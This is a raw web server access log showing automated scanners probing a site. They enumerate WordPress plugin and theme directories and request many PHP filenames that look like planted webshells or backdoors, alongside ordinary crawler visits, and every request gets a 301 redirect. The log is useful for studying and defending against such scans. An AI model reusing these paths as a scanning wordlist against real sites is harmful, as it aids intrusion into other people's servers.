45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /wp-includes/Requests/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /wp-includes/sodium_compat/lib/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /assets/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /backup/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /files/shares/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /wp-content/plugins/xt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /wp-content/plugins/content-management/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /wp-content/themes/Avada/licensing/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /Requests/Utility/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /rest-api/fields/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /wp-content/plugins/tunnelforms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /wp-content/languages/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /wp-includes/js/tinymce/skins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /wp-includes/js/tinymce/utils/%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:19 +0300] "GET /wp-includes/js/jquery/ui/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:53:20 +0300] "GET /js/tinymce/utils/%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:20 +0300] "GET /Requests/Exception/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:20 +0300] "GET /wp-includes/js/tinymce/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:20 +0300] "GET /wp-json/wp/v2/give_forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:20 +0300] "GET /wp-content/plugins/ultimate-member/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:20 +0300] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:20 +0300] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:20 +0300] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:20 +0300] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:20 +0300] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:20 +0300] "GET /wp-includes/blocks/code/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:20 +0300] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:53:20 +0300] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:20 +0300] "GET /wp-content/plugins/js-support-ticket/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.86.200.177 - - [21/Apr/2026:01:53:20 +0300] "GET /wp-content/plugins/easy-themes-manager/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:20 +0300] "GET /wp-content/settings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:20 +0300] "GET /wp-includes/blocks/pullquote/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:20 +0300] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:21 +0300] "GET /wp-admin/images/html-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:21 +0300] "GET /wp-includes/blocks/comments-pagination-numbers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.86.200.177 - - [21/Apr/2026:01:53:21 +0300] "GET /wp-admin/user/interactivity-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:21 +0300] "GET /assets/bootstrap-fileupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:21 +0300] "GET /wp-content/plugins/yanierin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:21 +0300] "GET /wp-content/themes/hideo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:21 +0300] "GET /wp-content/plugins/profile-builder/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:21 +0300] "GET /wp-content/plugins/plugin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:21 +0300] "GET /wp-admin/network/cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:21 +0300] "GET /wp-includes/blocks/details/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:21 +0300] "GET /wp-includes/blocks/post-terms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:21 +0300] "GET /wp-includes/theme-compat/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:21 +0300] "GET /wp-includes/js/dist/development/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:21 +0300] "GET /management/assets/assets/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.86.200.177 - - [21/Apr/2026:01:53:21 +0300] "GET /wp-includes/sodium_compat/namespaced/Core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:21 +0300] "GET /wordpress/wp-includes/blocks/accordion/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.86.200.177 - - [21/Apr/2026:01:53:21 +0300] "GET /assets/worders_front/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:21 +0300] "GET /assets/jquery-ui/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:53:21 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:53:21 +0300] "GET /wp-content/themes/Avada/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:53:21 +0300] "GET /wp-content/uploads/fusion-forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:22 +0300] "GET /wp-content/themes/Avada/includes/lib/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.86.200.177 - - [21/Apr/2026:01:53:22 +0300] "GET /wp-content/themes/jupiter/framework/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.86.200.177 - - [21/Apr/2026:01:53:22 +0300] "GET /wp-includes/blocks/site-title/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:53:22 +0300] "GET /wp-content/plugins/jupiterx-core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:22 +0300] "GET /wp-content/themes/Avada/shortcodes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 66.249.66.76 - - [21/Apr/2026:00:58:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 43.135.142.7 - - [21/Apr/2026:03:19:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.190.142.176 - - [21/Apr/2026:03:32:41 +0300] "GET /.well-known.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:32:44 +0300] "GET /1mage.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:32:47 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:32:50 +0300] "GET /Diff.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:32:52 +0300] "GET /Engine.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:32:55 +0300] "GET /ID3.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:32:57 +0300] "GET /IXR.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:32:59 +0300] "GET /PHPMailer.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:33:03 +0300] "GET /PXmpeIJJ.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:33:07 +0300] "GET /Renderer.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:33:09 +0300] "GET /Text.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:33:11 +0300] "GET /add_ONLINE-TPSC_questions.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:33:14 +0300] "GET /all.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:33:17 +0300] "GET /all2.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:33:19 +0300] "GET /apreset.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:33:22 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:33:24 +0300] "GET /bay.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:33:26 +0300] "GET /bigdump.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:33:27 +0300] "GET /block-patterns-set.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:33:29 +0300] "GET /blocks.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:33:31 +0300] "GET /blue.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:33:33 +0300] "GET /class-ge.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:33:35 +0300] "GET /class-phpass-private.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:33:37 +0300] "GET /class-wp-block-method.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:33:39 +0300] "GET /class-wp-http-ixr-client-url.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:33:42 +0300] "GET /class-wp-http-requests-response-cron.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:33:45 +0300] "GET /class-wp-post-condition.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:33:47 +0300] "GET /class-wp-sitemaps-upload.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:33:50 +0300] "GET /class-wp-theme-json-data-edit.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:33:52 +0300] "GET /class-wp-widget-media-images.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:33:55 +0300] "GET /class-wp-widget-tags.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:33:58 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:34:02 +0300] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 49.48.124.191 - - [21/Apr/2026:01:53:34 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 172.190.142.176 - - [21/Apr/2026:03:32:36 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 66.249.66.77 - - [21/Apr/2026:00:58:09 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.66.76 - - [21/Apr/2026:02:38:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.7680.177 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 172.190.142.176 - - [21/Apr/2026:03:34:14 +0300] "GET /cofbgxlk.php HTTP/1.1" 301 795 "-" "-" 43.130.14.245 - - [21/Apr/2026:02:15:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.190.142.176 - - [21/Apr/2026:03:34:20 +0300] "GET /coffee.php HTTP/1.1" 301 795 "-" "-" 45.86.200.177 - - [21/Apr/2026:01:53:22 +0300] "GET /wp-json/bricks/v1/render_element/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:53:22 +0300] "GET /wp-content/themes/bricks/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:22 +0300] "GET /wp-content/themes/service-finder/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.86.200.177 - - [21/Apr/2026:01:53:22 +0300] "GET /wp-includes/js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:53:22 +0300] "GET /wp-content/themes/service-finder/admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.86.200.177 - - [21/Apr/2026:01:53:22 +0300] "GET /wp-json/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:22 +0300] "GET /wp-json/wp/v2/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:22 +0300] "GET /wp-content/uploads/2025/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:22 +0300] "GET /wp-content/uploads/2026/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:53:22 +0300] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 172.190.142.176 - - [21/Apr/2026:03:34:09 +0300] "GET /codemirror.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:34:36 +0300] "GET /contacto.php HTTP/1.1" 301 795 "-" "-" 182.52.66.67 - - [21/Apr/2026:01:03:02 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 172.190.142.176 - - [21/Apr/2026:03:34:26 +0300] "GET /colors.css.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:34:28 +0300] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 125.94.144.102 - - [21/Apr/2026:04:26:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.190.142.176 - - [21/Apr/2026:03:35:32 +0300] "GET /fIMazHfo.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:35:36 +0300] "GET /fb.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:35:54 +0300] "GET /iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:34:42 +0300] "GET /crystal.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:34:46 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [21/Apr/2026:03:35:40 +0300] "GET /fonts.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 